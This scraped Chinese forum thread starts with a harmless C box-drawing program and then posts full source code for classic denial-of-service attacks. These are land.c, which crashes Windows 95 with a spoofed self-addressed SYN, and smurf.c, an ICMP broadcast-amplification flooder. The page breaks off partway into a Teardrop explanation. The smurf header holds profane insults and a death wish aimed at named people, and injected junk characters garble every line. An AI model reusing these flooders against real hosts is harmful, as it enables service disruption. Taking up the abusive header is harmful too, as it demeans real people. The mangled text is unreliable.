我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

<DIV align=center><FONT size=3><B><FONT color=#cc0000>设计彩色框的C源程序</FONT></B></FONT></DIV><>
# G& O% r+ I' f$ n& C, ?' |<FONT color=#009900>/*
- g* X+ l7 r1 s! w- V*8 g6 G3 w3 B, L* X3 p6 F
* Short driver module1 u3 M- e2 I; A2 O
*
/ v/ n% V+ B: |& _! X, Z0 ^*/</FONT></P><><FONT color=#009900>main()
( t3 r4 Z# R$ u6 w5 d5 o8 @. S. |{' a2 ^7 ^! l; V3 q
clrscr();
; R& G/ ^7 G' q( Cbox(1,1,23,79);
% E  P' h8 o! a- C3 C! z6 |+ zbox(2,2,21,77);2 `! I. J& |# w, J4 I
box(3,3,19,75);
& u" ]% i( p" O' v2 n% P' Ibox(4,4,17,73);
& l) L2 V1 [8 R; F( n  ubox(5,5,15,71);
# Z* h: E0 P9 _8 Z  sbox(6,6,13,69);) T! B. W' Y! k+ L8 V/ N& B
box(7,7,11,67);
& X! ]' I, x- z* l( Ibox(8,8,9,65);
7 G7 A; ~- q9 k7 |# Z, R. @box(9,9,7,63);. g5 i8 ], b" X* J2 P2 \
box(10,10,5,61);9 l& g7 V/ R% m: _
box(11,11,3,59);
# s5 o2 R- |* w) K3 H2 Ubox(12,12,1,57);
. d$ P1 o8 Q6 O, o8 G2 b& dposcur(24,1);+ D% p- @& j! H/ @1 l
}</FONT></P><><FONT color=#009900>/************************************************************
8 x9 p& H& M$ I) Z, |9 S* BOX *0 W( A% Q$ p$ E' l
*----------------------------------------------------------*
, I9 ~. w) D1 O% G1 \1 ~0 d$ t* Written by: Jeff Ebert 7/01/87 *5 M+ c4 S# t9 h4 D( r
* Modified by: xxxxxxxxxx *1 u1 e  j) X! n/ P
* *
- X% p) w& a) W9 I' N* Please modify me! *
9 T+ y* M3 d7 s, x" M7 |* Possible Enhancements include but are not limited t *
  f, G5 H8 k( ^1 t: x1 q6 ]: s* 1) Variable box character styles [1 line or 2] *
: A1 R7 m$ G9 q* 2) Error checking *; ^# m0 f  p' l' |
* 3) Color options *+ y, P. s: Z* I' Q; g- n5 k
* *8 P+ D+ H; O( x' h( C" I
* *
  \7 I' Y8 x4 r: _) ^6 g. \* This function builds a simple double frame for a menu. *
- j0 D8 Z- H1 R' o& j9 C( Q$ C" L* The function is passed the parameters for the upper *
+ P) o+ R& H1 E% {* left corner row, upper left corner column the height *
8 `1 z9 h% V2 Q& R' v) T* of the frame and the width. *# n5 l, t8 Y2 h  J* ^0 s
* *; T3 G1 h+ p! R( ]& R0 w
************************************************************/2 g( g' o( T% H# ?/ k0 f
#include <STDIO.H></FONT></P><><FONT color=#009900>#define ULCOR 201- G) I8 |3 M8 J, b  \3 d
#define URCOR 187
2 G/ u5 }, ]4 E/ F0 o% d#define LLCOR 200! D6 Y; Z. l, G  v
#define LRCOR 188( u+ l1 ?* `+ o$ Y. ~. v: P
#define VBAR 186+ A; e& n0 t+ t2 p7 g8 m
#define HBAR 205
4 {) I, g# _! h3 E+ @#define ESC 27</FONT></P><><FONT color=#009900>8 j+ T$ i  _, d8 e# L
box(row, col, hgt, wdth)3 ^6 y9 ^- e% L* J$ _0 |/ I  H
int row, col, hgt, wdth;</FONT></P><><FONT color=#009900>{( @$ j# }* |' o# H; z
int x, y;</FONT></P><><FONT color=#009900>poscur(row,col);$ A5 X/ a2 B1 {" V7 ?( ^9 \0 n
putchar(ULCOR);
1 y3 j0 V3 c+ Efor(x = col + 1; x &lt;=(col + wdth -1); x++)
0 X  K$ v  |5 w: {8 mputchar(HBAR);
3 j8 r) C% E. L5 K# fputchar(URCOR);</FONT></P><><FONT color=#009900>for(x = row + 1; x &lt;=(row + hgt - 1); x++){
- f  a; o8 J3 @: A. [- A( k4 n+ x- I: ^poscur(x,col);
0 ]- }5 J% W8 N' C7 s4 i" I# D0 Vputchar(VBAR);# I. s# D7 m+ _( e3 a' a
poscur(x,col+wdth);
3 J$ ^+ m4 O8 M. x- Oputchar(VBAR);
; b, c# ~2 s  P0 c/ v}
8 `1 K5 W4 t7 B! fposcur(x,col);4 E, r6 R7 U+ D
putchar(LLCOR);
" i# H- N0 O! u0 z% K3 Xfor(x= col + 1; x &lt;=(col + wdth -1); x++)" G* z- v8 {, F3 B- l  A
putchar(HBAR);
7 q9 R+ O. w& xputchar(LRCOR);
8 R7 S! o% K4 e+ _}</FONT></P><><FONT color=#009900>/********************************************************1 D6 ]& _5 d5 [. \& y
* POSCUR *
; c; y6 j" \% C+ q. z2 J" M*------------------------------------------------------*
/ z8 @* h) g% g; S/ m; g( s, P9 ^* This function positions the cursor at the specified *. |) b) O/ j7 q) n+ j, n
* x,y coordinate. It uses the ANSI standard ESCAPE ** i2 i) L# d% h; I
* sequence to produce the desired effect. Its not the *
1 \. W0 T( E- M6 E7 _' ~* fastest way to position the cursor, but perhaps the *
6 E* ?( G  R# Q- {" y# r) l* most portable. *
9 E5 S, E: ~) Q* *
5 o7 Y# i" r* g+ k********************************************************/7 A' r, R# }/ [- r  v
poscur(xcor,ycor)
/ N, V2 R' h4 l3 g- jint xcor,ycor;' b3 x- h  c& n1 E
{ ; n4 v6 a) C- z: y, I
printf("%c[%d;%dH",ESC,xcor,ycor);
5 |# I* d1 X7 P0 {4 s/ X}</FONT></P><><FONT color=#009900>
7 S" i! P) S: |- e, Q. F/********************************************************
0 i. q7 L' ~& J0 a* u/ d7 w) p* CLRSCR *" Z% D8 i5 N8 P$ b2 ]
*------------------------------------------------------*
& m. ]/ i. j  Y  `7 n  W' u* T* This function positions the cursor at the specified *
/ a/ i* V$ `3 ?$ ~( a# m* x,y coordinate. It uses the ANSI standard ESCAPE *
1 d$ [' `' m1 X* sequence to produce the desired effect. Its not the *
0 @. e$ y, z5 D% Y2 P/ C* fastest way to position the cursor, but perhaps the *' i/ s5 @; f/ ~9 y* B) k- b- o
* most portable. *
& D7 |) F: z2 S9 J8 F* *6 ^* X, m+ ^. k4 L* K
********************************************************/
7 i; [: j& Y  x# L; U( j1 uclrscr()
9 C/ c$ B( x) Z8 E0 Y4 ^{
2 N5 S& X, C* K  ]5 V# \9 iprintf("%c[2J",ESC);' H% i& i! T# s, |
}</FONT>
1 I6 ^2 I* i2 T: m3 C</P>
回复

使用道具 举报

韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

<DIV align=center><FONT size=3><B><FONT color=#cc0000>以前常用的攻击软件源代码</FONT></B></FONT> </DIV><>常用攻击程序</P><>Abstract, u$ F# F% }9 K7 V4 l# t- o
这里有一些是老的,现在看来并没有用,但他们都很有名。</P><>1 Land</P><>攻击一台Win95的机器。这是Win95的一个漏洞,以其IP地址和端口向自
" w9 f! e) w# v+ X8 r己的同一个端口发起连接(发SYN),Win95即会崩溃。</P><>/ e' O2 e4 F" N( p5 R, U+ T5 ]: Z1 b
<FONT color=#009900>/* land.c by m3lt, FLC
( L4 ]$ @! F  g  L) |1 D- W( ecrashes a win95 box */</FONT></P><><FONT color=#009900>#include <STDIO.H>
: b% Z. }/ D$ C* p; q. D#include <NETDB.H>- q* ~$ |+ Q1 U/ i$ e* Q
#include <ARPA inet.h>
" E& S+ K' c- U) q6 \#include <NETINET in.h>6 c, I* [0 k+ C3 f4 w7 |, `
#include <SYS types.h>
- S( z: y* w/ A5 A8 @" h#include <SYS socket.h>9 ~. I; B8 y, C/ ~
#include <NETINET ip.h>
. r( j  U4 n7 v+ l' X& ^" ^/ F#include <NETINET tcp.h></FONT></P><><FONT color=#009900>//用于TCP校验和的伪头
, E$ P, E# ^( hstruct pseudohdr
. I" Z' g# P4 i9 v( I* N7 `{
/ W6 v! H' w( c; T. h/ Mstruct in_addr saddr;) }8 n# y2 r- S" ^0 I2 s
struct in_addr daddr;  \" ^4 b2 @9 G9 |5 |+ a
u_char zero;
2 H5 C' b! d& d9 a  ^, U5 f3 _- fu_char protocol;
" t. Y3 G+ Z2 A! _u_short length;
: e1 b# }2 F' _$ x* D( U0 ]0 T0 Xstruct tcphdr tcpheader;
8 M9 I, z( F$ P. S; F' W: o};</FONT></P><><FONT color=#009900>//计算IP校验和
. m$ G" h  V1 l. v& r$ T  bu_short checksum(u_short * data,u_short length)
4 F. |& ~2 D" V0 T, p( r6 _2 q{
9 ]& E/ Z) D3 _  _" uregister long value;
" g7 \8 q8 D4 `9 c7 {2 N  Iu_short i;</FONT></P><><FONT color=#009900>for(i=0;i&lt;(length&gt;&gt;1);i++)
  R: O2 r2 @& r8 [value+=data;</FONT></P><><FONT color=#009900>if((length&amp;1)==1)
* E) q- W# x' k( U  u/ Mvalue+=(data&lt;&lt;8);</FONT></P><><FONT color=#009900>value=(value&amp;65535)+(value&gt;&gt;16);</FONT></P><><FONT color=#009900>return(~value);, q. n* [3 ~4 W* a( [% F
}</FONT></P><><FONT color=#009900>
. ?$ Z0 ]) X8 P9 p' @. xint main(int argc,char * * argv)
2 e( c& a  @! V8 U# |4 G{
# m$ N! S2 `4 O9 @% I# Q# b5 y9 M6 xstruct sockaddr_in sin;' O. M5 p( |" X2 f9 P
struct hostent * hoste;
9 x3 \( X7 h3 Y6 i* j/ H: wint sock;- T: j5 A) z: q4 T8 ?/ p
char buffer[40];2 Q; X8 C0 K- {; H% r1 [$ I
struct iphdr * ipheader=(struct iphdr *) buffer;+ t. }3 L; l8 T  K8 Y/ w( [
struct tcphdr * tcpheader=(struct tcphdr *) (buffer+sizeof(struct iphdr));6 q8 V* @. \4 ^
struct pseudohdr pseudoheader;</FONT></P><><FONT color=#009900>fprintf(stderr,"land.c by m3lt, FLC\n");</FONT></P><><FONT color=#009900>if(argc&lt;3), B! U* d. h2 ?
{5 c( e2 G7 V1 r& I2 ^
fprintf(stderr,"usage: %s IP port\n",argv[0]);
( D& }/ N/ \1 T( Freturn(-1);+ f8 N4 Z1 V. X) K
}</FONT></P><><FONT color=#009900>bzero(&amp;sin,sizeof(struct sockaddr_in));+ T0 K; i" i( O# Z( f
sin.sin_family=AF_INET;</FONT></P><><FONT color=#009900>if((hoste=gethostbyname(argv[1]))!=NULL)/ l* o3 l! M* d8 ?; M
bcopy(hoste-&gt;h_addr,&amp;sin.sin_addr,hoste-&gt;h_length);
) P. a- n% Q) X' g8 C. C' Ielse if((sin.sin_addr.s_addr=inet_addr(argv[1]))==-1)( |$ p0 F/ C5 A* \& ?- T2 V
{
  t7 T/ a0 \; ?fprintf(stderr,"unknown host %s\n",argv[1]);* D/ T/ V/ g9 L0 {2 ^
return(-1);
2 a3 ?- B# {& G; P}</FONT></P><><FONT color=#009900>if((sin.sin_port=htons(atoi(argv[2])))==0)
  |: @; L1 w0 l( n- d{
0 x" T9 O. v, ^fprintf(stderr,"unknown port %s\n",argv[2]);; u7 B% o' C$ x+ x9 Z4 }/ ?
return(-1);
0 Q3 z" U' ?) u/ P8 \4 ~}</FONT></P><><FONT color=#009900>//new一个SOCK—RAW以发伪造IP包 这需要root权限
# X3 |  l+ v% B5 @if((sock=socket(AF_INET,SOCK_RAW,255))==-1)
# m/ B( r" N& R: e' v: _# ]2 c( k7 v8 d{; r* K' Y+ R5 ^# C
fprintf(stderr,"couldn't allocate raw socket\n");
' p  m0 v5 W4 \. ?; X0 e% O2 i/ [return(-1);5 r/ m1 x5 D: j3 X  f/ w
}</FONT></P><><FONT color=#009900>bzero(&amp;buffer,sizeof(struct iphdr)+sizeof(struct tcphdr));
$ S; a0 u+ X2 t' Z( oipheader-&gt;version=4;7 s* B. C7 e8 F. r" g* E) X
ipheader-&gt;ihl=sizeof(struct iphdr)/4;2 E" `. q5 _* a" x! B* ]$ ]
ipheader-&gt;tot_len=htons(sizeof(struct iphdr)+sizeof(struct tcphdr));
2 C' ^5 b" P9 T- Z9 E6 S- _  Kipheader-&gt;id=htons(0xF1C);) B( {3 d# N3 ^0 F" e
ipheader-&gt;ttl=255;
- D# U5 T7 H$ Fipheader-&gt;protocol=IP_TCP;</FONT></P><><FONT color=#009900>//目的IP地址和源IP地址相同# X3 z* |2 Z9 c- J3 F
ipheader-&gt;saddr=sin.sin_addr.s_addr;/ ]7 Z, x3 J5 r* b! C, d
ipheader-&gt;daddr=sin.sin_addr.s_addr;</FONT></P><><FONT color=#009900>//目的TCP端口和源TCPIP端口相同/ ~0 j2 M3 v; Q+ ]( U$ I& Z' X( F
tcpheader-&gt;th_sport=sin.sin_port;% U) _  `3 d  w! P* W
tcpheader-&gt;th_dport=sin.sin_port;- Q2 k1 g% \1 T* D' {
tcpheader-&gt;th_seq=htonl(0xF1C);
! y* L8 q7 C% m1 w9 wtcpheader-&gt;th_flags=TH_SYN;( Z( p% O& g% d& v/ l
tcpheader-&gt;th_off=sizeof(struct tcphdr)/4;6 m! d8 w5 h+ E0 M& c
tcpheader-&gt;th_win=htons(2048);</FONT></P><><FONT color=#009900>bzero(&amp;pseudoheader,12+sizeof(struct tcphdr));. t1 h1 ^$ }- ~7 u3 d
pseudoheader.saddr.s_addr=sin.sin_addr.s_addr;
% ~3 i$ b9 s( ~5 hpseudoheader.daddr.s_addr=sin.sin_addr.s_addr;+ N% T* h3 `; O# K4 G; k3 m
pseudoheader.protocol=6;
1 l( @7 g  C) ]! y5 `( ypseudoheader.length=htons(sizeof(struct tcphdr));' d; c! H. t( K( E" N- |/ i% \
bcopy((char *) tcpheader,(char *) &amp;pseudoheader.tcpheader,sizeof(struct tcphdr));
$ y  R+ q0 r: l1 \6 |tcpheader-&gt;th_sum=checksum((u_short *) &amp;pseudoheader,12+sizeof(struct tcphdr));</FONT></P><><FONT color=#009900>if(sendto(sock,buffer,sizeof(struct iphdr)+sizeof(struct tcphdr),
' m( `: \7 G8 ]& P9 P7 T0,(struct sockaddr *) &amp;sin,sizeof(struct sockaddr_in))==-1)9 Y; |' {4 R( o# x% h; p( D
{0 M( T& P5 A/ g. q1 Q6 j
fprintf(stderr,"couldn't send packet\n");$ G9 u: [& Y4 i& ?) A9 `: A) c
return(-1);% q6 r8 Z' C/ [2 q
}</FONT></P><><FONT color=#009900>fprintf(stderr,"%s:%s landed\n",argv[1],argv[2]);</FONT></P><><FONT color=#009900>close(sock);
. K' Z! d% v5 sreturn(0);1 y5 g: X3 V+ \
}</FONT></P><>
! \  ]% ]. @" P2 Smurf
" p% O3 N% o) S7 Msmurf攻击是很简单的,它有一些IP(广播地址)地址列表,发出了一些伪造的数
% o: q5 ^! p4 A: O+ m: s: x* S0 ?据包(ICMP echo request)从而导致一场广播风暴,可以使受害主机(使它成为伪造包
* W+ V% K6 h5 E" \2 T的源地址)崩溃。</P><>受害者有两种:中间的设备(bounce sites 交换机或路由器)和被伪装的IP(那些
1 c- Z! y  ]; Cicmp echo的包都被发给它)。这种攻击依赖于路由器把一个广播地址转化为一广播桢
( r8 F- M3 r1 D& O; g3 f0 l  C, Z(如Ethernet, FF:FF:FF:FF:FF:FF),RFC中允许这种转换,但在今天看来是不需要的。</P><>可以使你router停止转换第三层的广播(IP)到第二层的广播(Ethernet)。</P><>但是Smb服务器或NT需要远程广播使LAN知道它的存在,但在路由器的上述配置会使这变+ i8 _& Y) B% `7 B7 k
成不可能(没有WINS服务器时)。</P><P>/*
; ^2 R) l( h# I, T  @1 y# B*1 {, D% P$ m/ g% Z! B, H7 r
* $Id smurf.c,v 4.0 1997/10/11 13:02:42 EST tfreak Exp $# B; z& _/ R/ |3 K) n0 z$ ?: l. z
*: A! N5 Q4 z* s. _) F1 m7 X8 r: h: c
* spoofs icmp packets from a host to various broadcast addresses resulting" P0 z* ?$ C9 _2 T( p2 C0 ?, o
* in multiple replies to that host from a single packet.
1 [$ Y* g( ^3 B*
8 n" s7 b7 `0 M8 n* mad head t
% S4 p& d) {/ \' p* n* nyt, soldier, autopsy, legendnet, #c0de, irq for being my guinea pig,
9 P  j+ P3 P% I  N* MissSatan for swallowing, napster for pimping my sister, the guy that+ D% a+ }- W: @$ u4 Z$ S# J* B- N
* invented vaseline, fyber for trying, knowy, old school #havok, kain' K6 ~: ?# h9 i* |+ E
* cos he rox my sox, zuez, toxik, robocod, and everyone else that i might, B3 q# C/ \* a7 l4 q7 d
* have missed (you know who you are).
4 h  C- a; {9 X** @9 x) t$ U+ i& c' U
* hi to pbug, majikal, white_dragon and chris@unix.org for being the sexy; D: a# T# f. x* d9 X( S
* thing he is (he's -almost- as stubborn as me, still i managed to pick up- o, n  f2 P8 `1 k2 w/ r
* half the cheque).
: d/ L# p$ Q- J: y+ O*
. G! f( o) C4 P2 L! d* and a special hi to Todd, face it dude, you're fucking awesome.* h2 |+ m% C6 N* X0 f1 A: A
*# P6 n+ r" L8 u+ O& l, \' \
* mad anal t7 p1 [/ c  a, O  B& _7 i
* #madcrew/#conflict for not cashing in their cluepons, EFnet IRCOps! k' @# H" j; q! e; o
* because they plain suck, Rolex for being a twit, everyone that
1 w+ C% S5 Y+ X6 B* K* trades warez, Caren for being a lesbian hoe, AcidKill for being her
2 @& R) Z* n$ ]1 V4 T9 ]6 w* partner, #cha0s, sedriss for having an ego in inverse proportion to* P& B: a6 D. c( S( `1 P! [, b
* his penis and anyone that can't pee standing up -- you don't know what' c/ Z: V$ |# u# D/ D) C
* your missing out on.
' o9 R( k" w$ J% Q, m- N1 X*
- w0 J( d. U; l: a% |0 J/ _* and anyone thats ripped my code (diff smurf.c axcast.c is rather# ?* R* t8 B9 ^1 m1 t, N1 @' T8 p
* interesting).7 T( j1 l8 l' M
*+ g3 t! T9 D8 T' C' ]( d; z2 W
* and a HUGE TWICE THE SIZE OF SOLDIER'S FUCK TO AMM FUCK YOU to Bill
8 e& @4 w$ ]! d4 ]* c; d* Robbins for trying to steal my girlfriend. Not only did you show me" _4 J- Z! T. ]0 e7 P* Y6 N
* no respect but you're a manipulating prick who tried to take away the
7 j: A" B9 B/ E. a2 F0 E+ m* most important thing in the world to me with no guilt whatsoever, and1 V" x, Q" F% H& @1 n9 K
* for that I wish you nothing but pain. Die.
; f5 d2 Q  q" @: e) h*
3 q) p3 V/ o3 d* disclaimer:
$ z- y, F% J4 H* I cannot and will not be held responsible nor legally bound for the
: r' P) W$ C) Z) B5 M4 N* N* malicious activities of individuals who come into possession of this
; {+ v  t1 S5 c9 }( f* program and I refuse to provide help or support of any kind and do NOT/ c5 S2 V* r) B* p9 Q& I/ ?
* condone use of this program to deny service to anyone or any machine.3 x3 ^, H9 f' \# S: P' Z
* This is for educational use only. Please Don't abuse this.4 T. H) B1 r) e( _+ u1 e# F
** r' P$ o! `3 T- F
* Well, i really, really, hate this code, but yet here I am creating another
' w7 O9 g6 l# ~7 |) Y& H* disgusting version of it. Odd, indeed. So why did I write it? Well, I,
5 R+ i0 r7 O$ }$ |; w! X8 E* like most programmers don't like seeing bugs in their code. I saw a few2 n/ g0 |$ ?$ Q) e: ]
* things that should have been done better or needed fixing so I fixed
0 A# G; ^) t0 e' f8 _* them. -shrug-, programming for me as always seemed to take the pain away
! C: e! p- Y" s" _0 a6 Y5 U* ...- V- w% ~1 N& f" W
*
, g4 c2 D& t( `/ [5 m8 ?/ W*2 f4 T  s% P$ S
*/</P><P>#include <SIGNAL.H>
/ Y" W" x0 w8 D3 s7 R#include <STDIO.H>
) Y' t7 ?7 t1 T#include <STDLIB.H>
) l% {0 E  j+ ?) x#include <SYS socket.h>. f, [. j2 ]$ _9 Z3 Q0 H
#include <SYS types.h>! A. Q" U8 [$ s" a: V+ d) ~" E
#include <NETINET in.h>
5 `; A! }+ L- ]$ D- d( `' l. }#include <NETINET ip.h># d, H* [- X( @# C
#include <NETINET ip_icmp.h>
; W  r7 |, s# Q#include <NETDB.H>
2 V! k* j+ v* d4 k! B$ W#include <CTYPE.H>
# ?" T. z! r. t#include <ARPA inet.h>+ I$ d4 x+ n/ l! K
#include <UNISTD.H>
7 M- t- }; a- C0 x* S7 R! A#include <STRING.H></P><P>void banner(void);5 u. r% r) ~# ^$ M4 Z$ o7 N0 @* Y
void usage(char *);; ^* j3 d1 Y- A/ }7 S+ G# s
void smurf(int, struct sockaddr_in, u_long, int);
. p5 K2 [; z/ n( ]" Ovoid ctrlc(int);: @! ]6 M5 [% J6 W% _
unsigned short in_chksum(u_short *, int);</P><P>/* stamp */* v3 k& {: X2 X6 b0 C$ }
char id[] = "$Id smurf.c,v 4.0 1997/10/11 13:02:42 EST tfreak Exp $";</P><P>int main (int argc, char *argv[])
  F2 y" V- b0 z, ]4 ~, V{
& C- u: {; D; S( [) I6 estruct sockaddr_in sin;8 w2 z9 D, B1 q+ d$ _% B3 b/ g
struct hostent *he;
' D( B' k, K7 a, A9 G7 U% J! b1 \+ PFILE *bcastfile;
  R: }( M, y: [! G8 Y! Gint i, sock, bcast, delay, num, pktsize, cycle = 0, x;/ x( V0 f& p! f; ], O
char buf[32], **bcastaddr = malloc(8192);</P><P>banner();+ G  v4 p8 {$ N5 J  i1 X
signal(SIGINT, ctrlc);</P><P>if (argc &lt; 6) usage(argv[0]);</P><P>if ((he = gethostbyname(argv[1])) == NULL) {" b0 U# k- U5 Q+ x* ~
perror("resolving source host");. C  [4 T, P% q
exit(-1);0 X3 E  Q& [; x) q3 L1 k+ U! x1 s0 \
}
. M+ q9 g8 H" Wmemcpy((caddr_t)&amp;sin.sin_addr, he-&gt;h_addr, he-&gt;h_length);
, L) R2 V2 k8 ~+ Msin.sin_family = AF_INET;+ T# T: l0 h& ~+ ~% t
sin.sin_port = htons(0);</P><P>num = atoi(argv[3]);
2 l! A" n! M" T0 i- j: `. m# Tdelay = atoi(argv[4]);
4 d  b$ d0 U! ^# R" h8 ^4 j6 Spktsize = atoi(argv[5]);</P><P>if ((bcastfile = fopen(argv[2], "r")) == NULL) {- n; e3 F" e! I+ g# b
perror("opening bcast file");
- S- n/ m: g( _6 U3 s# T/ gexit(-1);& S4 a% \& m0 R- B# N
}+ H5 P% E! r: p+ j
x = 0;
$ v% z, K$ y' n5 ?( Iwhile (!feof(bcastfile)) {
% {6 R5 G, `2 x' F/ lfgets(buf, 32, bcastfile);0 U5 |' [2 j: Z' ^% S
if (buf[0] == '#' || buf[0] == '\n' || ! isdigit(buf[0])) continue;9 J7 |& P$ L3 i" s+ L3 \1 Z) w
for (i = 0; i &lt; strlen(buf); i++)7 m/ v" c. g! p. A+ r8 N+ C  V
if (buf == '\n') buf = '\0';
0 x/ ?9 e" y6 Y; v+ Ebcastaddr[x] = malloc(32);
7 v) O) H: a9 @( Bstrcpy(bcastaddr[x], buf);
) ]$ A% d) f. Fx++;) O3 A+ j/ V+ n
}; O+ k8 W$ z- ?3 s: ^* o
bcastaddr[x] = 0x0;( M+ i  Y% x- K( t
fclose(bcastfile);</P><P>if (x == 0) {! |/ y2 r; ?7 n% f: i) y" T
fprintf(stderr, "ERROR: no broadcasts found in file %s\n\n", argv[2]);
  e8 G! b2 b& ^2 }3 ]& ~4 Qexit(-1);& F- v( q/ A3 j# }0 y
}& m$ p0 x* p5 h7 N. |- l7 V. e, @7 \
if (pktsize &gt; 1024) {
6 ]$ l& A! `; R( ifprintf(stderr, "ERROR: packet size must be &lt; 1024\n\n");- _( t6 x) Q7 e/ g0 M7 o
exit(-1);
1 P4 c! J5 D) M3 s- C9 R" r* l}</P><P>if ((sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) &lt; 0) {
( f) R- b% K6 Z; k8 L9 d6 G! }perror("getting socket");
6 |/ _$ N% X3 M) G& a5 Oexit(-1);* P6 [' o& L1 w: E, o! w
}
5 [( ]4 y* [) Nsetsockopt(sock, SOL_SOCKET, SO_BROADCAST, (char *)&amp;bcast, sizeof(bcast));</P><P>printf("Flooding %s (. = 25 outgoing packets)\n", argv[1]);</P><P>for (i = 0; i &lt; num || !num; i++) {7 m6 c! O# q( F0 ~3 {' u( m1 L
if (!(i % 25)) { printf("."); fflush(stdout); }
6 M4 K8 n3 Z, Dsmurf(sock, sin, inet_addr(bcastaddr[cycle]), pktsize);
8 P; z+ x/ M' Z0 e3 B& e" }4 tcycle++;
4 o" p, h% K4 t% L, Q+ w5 @if (bcastaddr[cycle] == 0x0) cycle = 0;
. [0 E4 L$ M) q, Iusleep(delay);7 F. q4 M* ?4 x0 d
}0 p' _8 S5 b. o5 y+ M
puts("\n\n");! h  f& b/ t1 H9 e+ x7 b- B* J
return 0;- y4 i; Y# P! L
}</P><P>void banner (void)  ~$ o9 T9 t! N* `% d( W$ j
{# m8 ^, _7 |! }3 Z
puts("\nsmurf.c v4.0 by TFreak\n");
0 x; L" K" _) I8 c* ?2 m}</P><P>void usage (char *prog)
( [, r, `7 m. W% e; B  g! C, e{
& h: b( K' Y0 [9 w# Vfprintf(stderr, "usage: %s <TARGET><BCAST file>"
5 ?6 r, z3 t, b7 c% w1 i"<NUM packets> <PACKET delay><PACKET size>\n\n"
1 f+ d4 Q7 ~' d) a* F+ q2 M) \4 P2 K1 l"target = address to hit\n"! V, d+ G8 ]2 _4 v: J! L2 \8 ?& W
"bcast file = file to read broadcast addresses from\n"4 G: F6 ?  w* G# S+ B
"num packets = number of packets to send (0 = flood)\n"+ n( S* \# e% p
"packet delay = wait between each packet (in ms)\n"$ i' J# O$ d. W$ [, J: m% X
"packet size = size of packet (&lt; 1024)\n\n", prog);
. }4 D; v9 x( p  ^exit(-1);6 {& v7 ]  v" b, m, f" ]0 b; I
}</P><P>void smurf (int sock, struct sockaddr_in sin, u_long dest, int psize)' d2 p# T& x+ p+ q' w; l1 v' m
{# k& O5 V( V9 y4 H, J' K
struct iphdr *ip;% G$ S9 _) \. d7 q2 j4 X
struct icmphdr *icmp;
! A5 K) L8 m! \; i" Bchar *packet;</P><P>packet = malloc(sizeof(struct iphdr) + sizeof(struct icmphdr) + psize);; I5 E, y! l1 a  Y* M/ ?: Y/ w
ip = (struct iphdr *)packet;
+ r# @. v! [- X, I& y% |, L; Gicmp = (struct icmphdr *) (packet + sizeof(struct iphdr));</P><P>memset(packet, 0, sizeof(struct iphdr) + sizeof(struct icmphdr) + psize);</P><P>ip-&gt;tot_len = htons(sizeof(struct iphdr) + sizeof(struct icmphdr) + psize);, V$ U+ M4 _, Q/ z% W
ip-&gt;ihl = 5;
% @# B: L/ e8 R& Yip-&gt;version = 4;
) P0 N7 Q7 f6 q: ^) M1 {ip-&gt;ttl = 255;
  t' q. h/ U# s2 }* j8 Xip-&gt;tos = 0;* @* L1 N- H" k) c! x+ h- K0 C
ip-&gt;frag_off = 0;$ {0 K& U1 S0 _
ip-&gt;protocol = IPPROTO_ICMP;; S! B. i6 G4 @: x* ?+ @$ x
ip-&gt;saddr = sin.sin_addr.s_addr;0 f6 B7 J: Z' t
ip-&gt;daddr = dest;
. J- c: ]& J1 oip-&gt;check = in_chksum((u_short *)ip, sizeof(struct iphdr));. L$ j4 X1 b5 H) j
icmp-&gt;type = 8;
+ \8 ]' g! E4 Y( V! Aicmp-&gt;code = 0;% ?  ?; T+ ~3 X. a/ u$ e
icmp-&gt;checksum = in_chksum((u_short *)icmp, sizeof(struct icmphdr) + psize);</P><P>sendto(sock, packet, sizeof(struct iphdr) + sizeof(struct icmphdr) + psize,5 a7 \) w, \4 ^& o
0, (struct sockaddr *)&amp;sin, sizeof(struct sockaddr));</P><P>free(packet); /* free willy! */
5 _, ]  q& O% D) D; }}</P><P>void ctrlc (int ignored). {* u' n  a+ y+ M0 K/ }$ K' E; U) h
{. J8 M5 }' r& l) [! r- Q& z( N
puts("\nDone!\n");8 I& @, w0 i% U$ D2 l
exit(1);4 ^2 c- |) E: B) _
}</P><P>unsigned short in_chksum (u_short *addr, int len)
% {5 z0 l9 k- c2 J  V{( D$ v: q) [4 ^8 j
register int nleft = len;
) C$ b' Q- ~- \: I* Bregister int sum = 0;
+ h7 Y# `! r, z; Y( C* W$ m- mu_short answer = 0;</P><P>while (nleft &gt; 1) {- y" p$ K0 c4 v6 `$ g
sum += *addr++;2 l! a* F8 Q0 D5 n  T1 u
nleft -= 2;
: m* g' T3 O7 W}</P><P>if (nleft == 1) {* I2 T8 c  l5 h3 ^! Q3 U
*(u_char *)(&amp;answer) = *(u_char *)addr;
% U/ H, C$ F6 B( isum += answer;" D) X# v7 N. k6 H( b% i
}</P><P>sum = (sum &gt;&gt; 16) + (sum + 0xffff);
- C. C8 n' V* ]( @! hsum += (sum &gt;&gt; 16);) Q4 B. b) H% \5 K1 ~5 r
answer = ~sum;) \4 u( R  K6 k; m
return(answer);0 K- x- u" O: S) ~1 s
}</P><P>2 B. f" j8 u! x7 Y1 ?
3 Teardrop</P><P>在Linux的ip包重组过程中有一个严重的漏洞。</P><P>在ip_glue()中:</P><P>在循环中重组ip包:
! u" u. n2 H+ ?7 _/ m; _/ t; k* D+ ?fp = qp-&gt;fragments;
8 P) X0 b4 c6 {# J! mwhile(fp != NULL)
9 l' c5 v( {0 F6 A9 a{
- b1 E8 q# \$ ^) }; r; ~" gif(count+fp-&gt;len &gt; skb-&gt;len)" i" @& m' d- I" y  ~2 ^, V5 t
{5 y) p. _0 e3 ~1 W( b- \" v
error_to_big;
: V8 m( T& b4 n1 d  M0 h  ^}
/ R! P. x1 X# b+ [memcpy((ptr + fp-&gt;offset), fp-&gt;ptr, fp-&gt;len);2 u5 K$ e$ H' j& p- U! q# J
count += fp-&gt;len;
' o1 h2 i0 b, w: ]% ^' Ofp = fp-&gt;next;
  a2 z/ F; T$ T/ H- }5 x}
# {1 r' X2 i1 q3 {5 f$ f3 g; p7 l* n这里只检查了长度过大的情况,而没有考虑长度过小的情况,& {9 U$ m0 w8 b$ w6 {7 a9 u  n, C1 n- I
如 fp-&gt;len&lt;0 时,也会使内核拷贝过多的东西。</P><P>计算分片的结束位置:2 x: a6 P" Z. \( C  d# [" Q5 l
end = offset + ntohs(iph-&gt;tot_len) - ihl;</P><P>当发现当前包的偏移已经在上一个包的中间时(即两个包是重叠的)
